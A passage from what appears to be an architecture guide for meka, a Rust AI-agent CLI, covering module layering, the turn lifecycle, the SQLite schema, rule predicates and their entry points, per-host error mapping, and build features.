main.rs as tracing’s writer; it writes through console, which draws with render. render and
console are reached only from host, cli and relay. text is the lowest leaf so that error
can render MekaError::ProfileNotConfigured through text::unknown_name.
Put new code where its callers already are: a type read by store and host belongs in store or
below, never in host. A new module fails the test until it is given a rank.
| Module | Holds |
|---|---|
src/main.rs | Dispatch only: parse arguments, pick a host or a CLI handler, map the exit code. |
src/cli.rs, src/cli/ | The clap definitions and one handler file per subcommand group: account, profile, session, history, mcp, tool, skills, memory, instructions, schedule, background. Everything that owns the stdout/stderr contract lives here. |
src/host.rs, src/host/ | host/assembly.rs builds a session: SharedDeps, build_session_agent, hydrate_conversation, resolve_profile_switch, record_session_change. host/session.rs runs one: ResidentSession, TurnGuard, BusyGuard, the CancelCell, the Sessions registry and its idle sweep, fork_and_lock, outcome claiming. host/scheduler.rs is HostHooks and run_wakeup, the out-of-band turn every host runs the same way. host/terminal.rs is what the REPL and one-shot share: Ctrl+C, the interruptible turn. host.rs keeps COMMANDS, the slash-command table the REPL offers and ACP advertises the for_editors rows of. host/repl, host/oneshot, host/acp and host/http are the hosts. |
src/agent.rs, src/agent/ | The Agent and its options; turn.rs runs a turn and owns TurnInput, dispatch.rs executes tool calls and owns admit_tool_call, compaction.rs summarizes, recovery.rs decides what a failed request becomes. |
src/view.rs | The record shapes --format json prints and the HTTP API serves, each defined once with its From conversion from the store or config type it shows: SessionView, ProfileView, AccountView, McpServerView, McpToolView, ScheduledJobView, GateView, MemoryDetail, ToolView, SkillView, SkillDetail. A host adds what only it can answer around the shared core by #[serde(flatten)]: the HTTP SessionResponse flattens SessionView under last_turn_at, capabilities and turn_in_flight; the CLI’s InstalledSkillView and ConfiguredToolView flatten a core under what only a terminal should see, such as a path on this machine. Every Option field is omitted when absent, never null. |
src/session.rs | What a session is made of: CoreMaterials and SessionMaterials (what every agent and registry of a session is built from), SessionCells (permission, cwd, roots, session id, todo list, the published profile, the context gauge, background tasks, the frontend, the session lock slot, a pending compaction), ToolSite (the four cells a built-in reads), AgentOptions and CompactRequest. No host and no SQL. |
src/provider.rs, src/provider/ | The Provider trait, the wire types, MessageAccumulator, the registry of profiles, and one backend per API: anthropic/messages.rs and anthropic/subscription.rs over anthropic/shared.rs; openai/chat_completions.rs, openai/responses.rs and openai/subscription.rs, the last two over openai/responses_wire.rs. Every streaming backend reads SSE through provider/sse.rs; the refresh-once rule for a rejected subscription credential is oauth::send_with_one_refresh; provider/mock.rs is the scripted provider the test suites drive. |
src/tools.rs, src/tools/ | The Tool trait, ToolContext, admit_arguments, the registry and its builders, the gate toolset, the built-in tools, and mcp_adapter.rs: each remote MCP tool as a Tool, and the registry as a subscriber to the client’s tool lists. A built-in reads the session it serves through one ToolSite. |
src/mcp.rs, src/mcp/ | The MCP client: ServerEntry per server, the connector and its reconnects, the client handler, each server’s tools published to whoever subscribes, progress and resource-update routing on McpClientContext, and auth. It never names a registry and never talks to a terminal: an interactive login goes through the LoginPrompt that only meka mcp login installs. |
src/store.rs, src/store/ | The store. migrations.rs is the append-only ledger; locks.rs the per-session file claim; backup.rs the copy taken before a migration; export.rs the archive format; every other file owns the statements for one table family. |
src/schedule.rs, src/schedule/ | Scheduled jobs as a domain: parsing, gates, and SchedulerMemory (schedule/memory.rs), the per-process record of which refusals have been reported. No SQL. src/scheduler.rs, above the store, is the sweep that fires them. |
src/config.rs, src/config/profile.rs | ConfigFile, loading, environment substitution, ResolvedConfig, and the vocabulary every layer reads. profile.rs is Backend, an account and a profile as written, a profile as resolved through its account, select_profile and require_profile. Live services and probes are resolved by the host, not here. |
src/prompt.rs | The system prompt and build_turn_context, the block the model sees ahead of every user turn. |
src/fs.rs, src/oauth.rs, src/sync.rs, src/text.rs | Private directories and the file locks; PKCE, refresh and the loopback callback; the one place a poisoned lock is recovered; and every pure text rule the surfaces share. |
One turn
A host admits the turn, the agent runs it, and everything the user sees comes back through a
Frontend.
- Admission. A
ResidentSessioncounts its work in one cell,in_flight, and holding the conversation mutex is what “a turn is in flight” means. HTTP and ACP admit a typed prompt withadmit_turn, which hands back aTurnGuardand samples the cancel epoch; HTTP wraps it inhost::http::state::admit_turnto add the process-wide cap. A scheduled fire or an outcome delivery takesmark_busy; HTTP compact and rewind takeclaim_idle, which refuses while anything is in flight. The REPL and the one-shot drive one session from one thread, so they samplecancel.admit()themselves and take the conversation lock. - Input. The host builds a
TurnInput: the typed prompt or the outcomes it carries, images, and the retention, which the scheduler sets per job and the HTTP turn takes from the request.TurnInput::from_partsis the empty-prompt rule, raisingMekaError::EmptyPromptbefore admission. - The loop.
Agent::run_turnappends one user message of two blocks: aTurnContextblock holding everything meka injected (permission and environment context, todos, world state, budget, background outcomes, the resume notice) and aTextblock holding the words as typed. Providers render the first as text ahead of the second; exports,GET /messages, replays and the title read the words. It then sends aCompletionRequestand dispatches every tool call the response carries.admit_argumentstype-checks the call’s arguments and takes outbackground, the flag that detaches it;admit_tool_calldecides run, ask or refuse. Each call gets aToolContext: the session id, the tool-use id, the prompt id, the frontend and the cancellation token. Every request carries the conversation whole; the context ceiling and compaction are its only bound. - Recovery. A failed request goes through
TurnRecovery, which decides between a retry, a degraded resend and a reported failure. Compaction runs when the context gauge says so, when the model asks throughcontext_compact, or when the user asks. - Output. Text, thinking, tool indicators, approval prompts and elicitations all reach the
user through the session’s
Frontend. The REPL, ACP and HTTP each implement it once; a sub-agent’sPermissionForwardingFrontendforwards its approval prompts and notices to its parent’s;SilentFrontendanswers a call with nobody behind it.
Where state lives
Non-secret settings live in config.toml. Secrets live in the store. Environment variables are
operational only. The store is one SQLite file, meka.db under MEKA_DATA_DIR, opened by Store,
and its shape is whatever the migration ledger says it is: twenty-three entries today, so a current store
reads PRAGMA user_version = 23, and HEAD_SCHEMA_FINGERPRINT in store/migrations.rs pins the
columns of the twelve tables in HEAD_TABLES. The last two entries are sessions_have_an_inbox, which adds the inbox table, and messages_are_indexed_by_kind, which indexes a session’s rows by kind so a resume finds its last compact_boundary row and the context block counts them without reading the whole log. Before them, names_follow_the_vocabulary gives every table, column and index the name the vocabulary uses and drops the provider_credentials view and a column nothing read. That view existed for one replay: the frozen sessions_name_their_provider reads the name when no default profile resolves, so classify_by_shape classifies a store that lost its user_version and has no such view at the version this entry leaves it, past that step, rather than at the baseline. Before it, sessions_record_their_context_tokens adds the occupancy a resume checks its first turn against, background_tasks_spell_canceled_with_one_l rewrites a task status an earlier meka stored as cancelled, and root_rows_take_the_default_level_once_the_config_reads stamps [permissions].default on a root row that still records no level and refuses to migrate while config.toml cannot be read.
| Table | Owner | Columns and indexes |
|---|---|---|
sessions | store/sessions.rs | id, created_at, updated_at, parent_session_id, cwd, permission, approvals, profile, capabilities_json, token_id, additional_roots_json, subagent_spec_json, context_tokens, and the eight cumulative counters turns, input_tokens, output_tokens, cache_creation_input_tokens, cache_read_input_tokens, redactions, redacted_images, redacted_bytes. idx_sessions_updated_at, idx_sessions_parent_session_id. |
messages | store/sessions.rs | id, session_id, kind, content, created_at. idx_messages_session_id, idx_messages_session_id_kind. |
account_credentials | store/credentials.rs | account, credentials_json, updated_at. |
mcp_credentials | store/credentials.rs | server, kind, secret, updated_at; keyed by (server, kind), so a client secret and its refreshable bundle coexist. |
blobs, message_blobs | store/blobs.rs | hash, media_type, bytes, size_bytes, created_at; and message_id, hash for which message rows reference a blob. idx_message_blobs_hash. |
scratchpad_entries | store/scratchpad.rs | session_id, name, content, created_at. |
scheduled_jobs | store/schedule.rs | id, session_id, kind, spec, prompt, gate_kind, gate_spec_json, gate_last_output, gate_permission, claimed_by, claim_expires_at, attempts, created_at, last_fired_at, next_fire_at. idx_scheduled_jobs_next_fire_at, idx_scheduled_jobs_session_id. |
background_tasks | store/background.rs | id, session_id, tool, label, status, outcome, scratchpad_entry, started_at, finished_at, announced_at, delivered_at. idx_background_tasks_session_id_status. |
memories, memories_fts | store/memory.rs | id, name, description, tags, body, priority, created_at, updated_at, read_count. idx_memories_priority_created_at. The FTS index and its triggers are rebuilt to this build’s definition by reconcile_index on every open, so they are outside the ledger’s fingerprint. |
prompt_history | store/history.rs | The REPL’s input history: id, command_line, created_at. |
Per-process state that is not a table has an owner too: the scheduler’s memory of which refusals it
has already reported is the SchedulerMemory on the Store; MCP progress routing and resource
updates live on the McpClientContext; the per-path write locks are the WriteLocks on the host’s
SharedDeps, cloned into every session’s CoreMaterials; a frontend’s sticky approval answers are
its StickyApprovals, in memory and never persisted.
The doors
Most defects that survive review are one rule enforced at one entry point and forgotten at a sibling. The rules below are each written once and called from every path that reaches the thing they guard. When adding a path, call the predicate rather than restating the rule.
| Rule | Predicate | Doors |
|---|---|---|
| Whether a turn may start | ResidentSession::admit_turn, mark_busy, claim_idle on the one in_flight cell | admit_turn: HTTP POST /turn (under the process cap, host::http::state::admit_turn) and ACP session/prompt; mark_busy: scheduled fires and outcome deliveries in host/scheduler.rs; claim_idle: HTTP compact and rewind. The REPL and one-shot sample cancel.admit() directly. |
| Whether a second turn is refused | the conversation mutex, try_lock | HTTP POST /turn (try_lock_owned, 409), ACP session/prompt (InvalidParams) |
| Whether a session is idle enough to evict | host::session::idle_on, behind ResidentSession::is_idle_given and Sessions::sweep_idle | the HTTP GC and the ACP idle sweep |
| Whether a prompt is empty | TurnInput::from_parts | every host, before admission |
| Whether a tool call runs, is put to the user, or is refused | admit_tool_call in agent/dispatch.rs | inline dispatch, the checkpoint turn in agent/compaction.rs |
| What a tool call’s arguments are, and whether it detaches | tools::admit_arguments | dispatch, ahead of every tool |
| What level a scheduled job runs at | scheduler::live_permission, reading the session row through admit_recorded | the fire door, the wake watcher, meka schedule show |
| Whether a recorded level still applies | EnabledPermissions::admit_recorded | a resume on every host (host/assembly.rs, host/http/reattach.rs, host/acp/session.rs), the scheduler |
| The refusal for a level the set does not admit | EnabledPermissions::disabled_level, raising MekaError::DisabledLevel | SharedPermission::try_set behind /permission, ACP session/set_mode and its permission option; HTTP create and PATCH |
| Whether a profile name is configured | config::require_profile, raising MekaError::ProfileNotConfigured | --profile and default_profile selection, resolve_profile_switch and the resume repin (host/assembly.rs), HTTP create and PATCH, the provider registry, meka profile use |
| What a session’s row may move to, and what a failed write costs | Store::update_session taking a SessionPatch; the policy is host::record_session_change | REPL /permission, /approvals, /cd; ACP session/set_mode and session/set_config_option; HTTP PATCH; the profile switch and resume reconciliation. A patch that fails to write the level, switch, directory or roots is warned about and the command continues; one carrying a profile fails the request. The one writer below host is the sub-agent tool recording the profile a worker ran on, which warns. |
| Whether a working directory is accepted, and how it is spelled | workspace::accept_cwd; cwd_filter for a listing filter | ACP session/new, load, resume, fork; REPL /cd; HTTP create, PATCH and ?cwd= |
| Whether a session accepts an image | ResidentSession::accepts_images, off the published profile’s vision | HTTP POST /turn, ACP session/prompt |
| A session’s title | Conversation::title (the first user Append in the log with a non-blank Text block that is not a redaction placeholder or harness note, whitespace collapsed, TITLE_CHARS = 80; TITLE_ROW_WHERE_SQL is the same rule in SQL) | SessionSummary, the HTTP turn response, ACP’s title update (from the resident log after a first prompt, from the row on a load, resume or fork, since a hydrated log begins at the last boundary) |
| Making a persisted session resident | Store::open_session_row: lock first, then read | REPL and one-shot resume, serve re-attach (ensure_session_loaded), ACP session/load and session/resume |
| What a resident session’s log holds | Store::load_conversation: the rows from the last compact_boundary on (load_view_events), images inlined, orphaned tool_use dropped; the whole log is read only by load_events for the readers that want history | every host resume through host::hydrate_conversation, the sub-agent follow-up |
| Forking | Store::fork_session_locked with SourceLock::{Probe, HeldByCaller} | meka session fork (Probe); REPL /fork through host::fork_and_lock (HeldByCaller); HTTP POST /fork and ACP session/fork, which hold a resident source still under HeldByCaller (refusing it mid-turn) and Probe a dormant one |
| What an HTTP caller may do | scope::Scoped<R> as an extractor | every handler, by its signature |
| Whether a path may be written | workspace::WriteScope | write_file, edit_file, scratchpad_save_file, execute_command’s confinement |
| Whether meka’s own directories may be read | workspace::private_read_refusal and resolves_into_private | tools/util.rs for the readers, find_files, search_contents |
| Whether a backend reads a profile or account key | Backend::reads_profile_key and reads_account_key (in config.rs) | profile add, profile set, account add, the load-time warning |
| Which account a profile bills | config::account_for | config validation, the provider registry |
| Whether an MCP server’s config may be sent at all | ServerEntry::refused, a field set at construction | every connect door in mcp/connector.rs, ServerEntry::reconnect |
| Whether a fire’s session is still resident | HostHooks::still_resident | scheduled fires and outcome deliveries, once the lock is won |
| What a frontend answered for a file operation | Delegation | read_file, edit_file, write_file |
| Whether thinking is on for a request | ThinkingOverride on CompletionRequest | the turn, the summarizer, the checkpoint turn |
| Where an image’s bytes rest | store/blobs.rs: externalize_images on write, inline_blobs on read | writes: save_event, save_events_atomic, import_sessions, the fork’s row copy; reads: Store::load_conversation for every resume and the sub-agent follow-up; GET /messages serves the reference, GET /blobs/{hash} the bytes, and an export carries both |
| The sentence for a name that matches nothing | text::unknown_name | every refusal by name: profiles, accounts, MCP servers, configuration options, scopes, gates |
| How a terminal shows a time, a size, an id | text::format_timestamp with Precision, text::format_size with KIB and MIB, text::ID_PREFIX | every listing and status line; the wire keeps RFC 3339 and raw byte counts |
The Authorization value for a token | text::bearer | every backend that sends one, and store/credentials.rs |
| What a sticky approval answer covers | StickyApprovals in frontend.rs | the REPL, ACP and HTTP frontends |
| How long a host waits for an approval answer | APPROVAL_TIMEOUT in frontend.rs (30 minutes) | the ACP and HTTP frontends; the REPL has a human and no timeout |
| How a notice serializes | NoticeView | SSE notice, the blocking response, the one-shot JSON report |
| Whether an upstream’s own words may reach a caller | host::relay_provider_errors, bounded by error::bounded_upstream_body | ProblemDetail::for_error’s provider_response, acp_error_for’s data |
| Whether a skill’s name resolves outside meka’s own store | skills::refuse_foreign_write / refuse_foreign_delete, both on foreign_location | skill_write, skill_delete, meka skill add/remove, PUT/DELETE /v1/skills/{name}; the ForeignSkill it hands back renders with the path for a local reader and without it on the wire |
| Whether an older meka wrote the store | store/migrations.rs alone | nothing else may know |
One error, one mapping per host
MekaError carries the refusals the doors raise: SessionNotFound, TurnInFlight { doing },
EmptyPrompt, DisabledLevel { level, enabled }, ProfileNotConfigured { name, known },
RequestTooLarge, beside SessionLocked, SessionNotDrivable, Usage and Config. Each host
maps the enum once, and no handler rewrites the sentence:
- HTTP:
ProblemDetail::for_errorinhost/http/errors.rs.SessionNotFoundis 404 (session-not-found);TurnInFlightandSessionLockedare 409 (turn-in-flight,session-locked);EmptyPrompt,DisabledLevel,ProfileNotConfigured,UsageandConfigare all 422 underinvalid-body, so a client tells them apart bydetail;RequestTooLargeis 422 under its ownrequest-too-large, because meka refused it and there is no provider response behind it. ThetypeURIs live underhttps://meka.so/errors/. - ACP:
acp_error_forinhost/acp.rs. Everything the caller can act on isInvalidParams(-32602) with theDisplayasdata; everything else isInternalError. - REPL:
console.error(&error), theDisplayon stderr. - One-shot and CLI: the
Displayon stderr and exit code 1; 130 when the turn was interrupted.
Two classes never travel verbatim, on either wire. Installation is meka’s own sentence about
the operator’s setup – a [web] client that will not build, a base_url shape a backend refuses
– so it names a path or an endpoint from config.toml that no caller can act on: HTTP answers a
sanitized 500 and ACP an InternalError with the text in the log, while the REPL and the CLI print
it, since their reader is the operator. The web client is built once in build_shared_deps, so on
every host a bad [web] block fails the process at startup rather than surfacing per session.
And an upstream’s own response text travels only when [serve] relay_provider_errors says so, which
host::relay_provider_errors reads once for both hosts. for_error attaches it as
provider_response; acp_error_for appends it to data; both bound it with
error::bounded_upstream_body. An MCP connector’s reason, a Database and an Io never travel at
all, on either.
- REPL:
console.error(&error), theDisplayon stderr. - One-shot and CLI: the
Displayon stderr and exit code 1; 130 when the turn was interrupted.
What each host offers
The hosts do not offer the same operations, and the gaps are recorded here rather than filled.
“Run” is meka with -p, -c, -r, --profile and --permission; the one-shot is that run
with --oneshot.
| Operation | REPL | One-shot | ACP | HTTP | meka session |
|---|---|---|---|---|---|
| New session | at launch | at launch | session/new | POST /v1/sessions | no |
| Resume | -c, -r at launch | -c, -r at launch | session/load, session/resume | implicit re-attach of a dormant id on any request | no |
| Fork | /fork | no | session/fork | POST /{id}/fork | fork |
| Delete | no | no | no (session/close releases only) | DELETE /{id} | delete |
| Rewind | /rewind | no | no | POST /{id}/rewind | rewind |
| Compact | /compact | automatic only | automatic only | POST /{id}/compact | no |
| Export | /export (Markdown) | no | no | GET /{id}/export | export |
| Import | no | no | no | POST /v1/sessions/import | import |
| Profile switch | /profile | --profile at launch | session/set_config_option | PATCH profile | no; meka -r --profile repins |
| Level switch | /permission, Shift+Tab | --permission at launch | session/set_mode, config option | PATCH permission, live | no |
| Approvals | /approvals | config only | session/set_config_option | PATCH approvals, live | no |
| List, show | /session, /status | no | session/list | GET, GET /{id} | list, show |
| Cancel a turn | Ctrl+C | Ctrl+C | session/cancel | POST /{id}/cancel | no |
The REPL and the one-shot share COMMANDS in host.rs for what a slash command is; ACP advertises
the three rows marked for_editors (/mcp, /status, /usage) as available_commands.
Mid-turn
Only HTTP and ACP can receive a request while a turn holds the session, and the two answer differently by design.
- HTTP refuses what needs the turn to end. A
PATCHnamingcwdorprofile,DELETE, fork, compact and rewind checkin_flight(or failclaim_idle) and return 409 withtypehttps://meka.so/errors/turn-in-flight, throughturn_in_flight_conflictandProblemDetail::for_error(MekaError::TurnInFlight). A secondPOST /turnon the session gets the same 409. Thedetailnames what was refused (doing), and asession_idmember carries the id. APATCHnaming onlypermissionorapprovalswrites the cells and the row without waiting, the same three steps ACP takes below.POST /v1/sessions/{id}/inboxnever refuses for a turn in flight: it writes aninbox_itemsrow (store/inbox.rs) and wakes the driver (host/http/inbox.rs). The row reaches the model at one of four places, all inAgent::run_attributed_turnso no host door can forget one: asteeror aninterruptat the round boundary after a tool round’s results, in the same user message and stampedappended_atby the same transaction (save_events_atomic_marking_inbox); aninterruptthe moment it lands while a provider call is in flight; any class at the next turn’s opening, after the words, whoever started the turn; or as the opening message of a turn the driver starts (host::scheduler::run_inbox_turns) when the session is idle. The item isdeliveredwherelast_accepted_lenis stamped, which is the request the provider accepted, andFrontendEvent::InboxDeliveredis what the feed and the webhook relay. - An interrupt is decided by the loop, never by a host. Each provider call runs under a child
of the turn’s token, and
watch_for_interruptspolls the inbox once a second (INTERRUPT_POLL_INTERVAL) and cancels the child when aninterruptrow is pending: polled rather than signaled, so a parent’sagent_steeron a running worker needs no registry to reach it. The call returns as it does on a stop, andabsorb_interruptreads the tokens to tell the two apart. What streamed is kept throughwithout_tool_use, the items follow as the next user message, and the loopcontinues in the same turn. Nothing streamed means the items join the user message that was cut, as a withdrawal and a re-append in one write, so the log still ends on an appended turn opening andwithdraw_unanswered_prompttakes the items back with the prompt if the turn then fails before the provider accepts anything. A tool round is never cut. - ACP applies the level and the switch, and refuses the rest.
session/set_modeand the permission and approvals options ofsession/set_config_optionwrite the cells without taking the conversation mutex, so an editor toggle takes effect on the very next tool call, and then record the row. The profile optiontry_locks the conversation first and refuses withInvalidParams(TurnInFlight { doing: "switch profile" }) so that a switch refused for a turn in flight leaves the row where it was. A secondsession/promptis refusedInvalidParams(TurnInFlight { doing: "prompt" }), and so is asession/forkof the session (TurnInFlight { doing: "fork the session" }), whichtry_locks the conversation the same way and holds it across the copy.
Frontends
Six things implement or stand in for Frontend: ReplFrontend (host/repl/frontend.rs, also the
plain one-shot), AcpFrontend (host/acp/frontend.rs), HttpFrontend
(host/http/http_frontend.rs, which records for the blocking response and broadcasts to SSE
through host/http/sse.rs), JsonFrontend (host/oneshot.rs, --format json), SilentFrontend
and PermissionForwardingFrontend (frontend.rs; the latter forwards notices and approval prompts
to the parent’s frontend and drops the rest). Where they differ:
| Event | REPL | ACP | HTTP stream | HTTP blocking | One-shot JSON | Silent |
|---|---|---|---|---|---|---|
Notice info / warn | console.notice, dim or warn-colored | agent-message chunk prefixed [meka] / [meka warn] | notice event (NoticeView) | notices[] | notices[] | dropped |
McpProgress | inline status line | tracing::info! | progress event | dropped | dropped | dropped |
Compacted | nothing (/compact prints render::compaction_summary) | info notice | context.compacted event | dropped; GET /messages carries the marker | dropped | dropped |
| Approval with nobody to ask | warn approval_refused_without_asking, deny (REPL thread gone) | asks the client; deny after APPROVAL_TIMEOUT, Canceled on cancel | permission_required event while a streaming client or a feed reader with attend=true is there; deny after APPROVAL_TIMEOUT, Canceled when the last of them leaves; refused with a warn notice otherwise | as HTTP stream: a feed attendee answers a blocking turn’s prompt too; without one, warn notice, deny | warn approval_refused_without_asking, deny | deny; the notice goes nowhere |
| Elicitation | asks through the REPL thread; warn elicitation_declined and decline when it is gone | elicitation/create; warn elicitation_declined and decline when the client lacks the mode | warn elicitation_declined, decline | same | trait default: warn elicitation_declined, decline | same, dropped |
| Scheduled fire prompt | dim info notice on the console | UserMessageChunk | info notice into the stream | info notice, drained after the turn | no scheduler | n/a |
| Scheduled fire failure | console.error; “interrupted” annotation on a cancel | warn notice scheduled job '<id>' failed: ...; info on a cancel | schedule.fired webhook, status completed, canceled or failed; nothing on the frontend | same webhook | no scheduler | n/a |
The scheduled-fire rows come from each host’s HostHooks (show_prompt, finished) rather than
its Frontend, in host/repl.rs, host/acp/schedule.rs and host/http/schedule.rs.
Building
Two Cargo features shape a build. serve, on by default, is meka serve: the HTTP API and the
dependencies only it needs, so --no-default-features builds a meka without one; src/host/http.rs
is behind cfg(feature = "serve"). mock-provider compiles in provider/mock.rs, the scripted
provider the test suites drive every host with; debug builds carry it regardless, and CI enables it
so a release-profile build is testable too. A shipped artifact is built without it. At run time,
MEKA_MOCK_PROVIDER=1 selects that provider on every host (provider/registry.rs,
host/assembly.rs) and MEKA_MOCK_PROVIDER_SCRIPT names the JSON script it plays back.
The integration crates are gated on the same fact: tests/acp.rs and tests/cli.rs carry
#![cfg(any(debug_assertions, feature = "mock-provider"))]; tests/serve.rs and
tests/multiprocess.rs add feature = "serve"; tests/repl_pty.rs adds unix. Only
tests/layering.rs runs unconditionally. Unit tests open the store with Store::for_test(), an
in-memory database at the current schema; Path::new(":memory:") is spelled out because None
means the default path. The integration crates share tests/harness/support.rs, whose Install is
a temporary root with a config directory, a data directory and a work directory; Install::env
points a meka command at it (MEKA_CONFIG_DIR, MEKA_DATA_DIR, HOME, XDG_*,
MEKA_MOCK_PROVIDER=1, the script when one was written) and Install::meka(args) builds one.
The exact gate CI runs is in AGENTS.md under “Build gate”; run it before declaring a change done,
since clippy and rustdoc deny warnings there and not locally. The one-shot conversion for a 0.45
config.toml, migrate-0.45-to-0.46.py, is not in the repository: like the 0.42 script before it,
it is attached to its release as an asset by hand and carries its own --self-test fixture.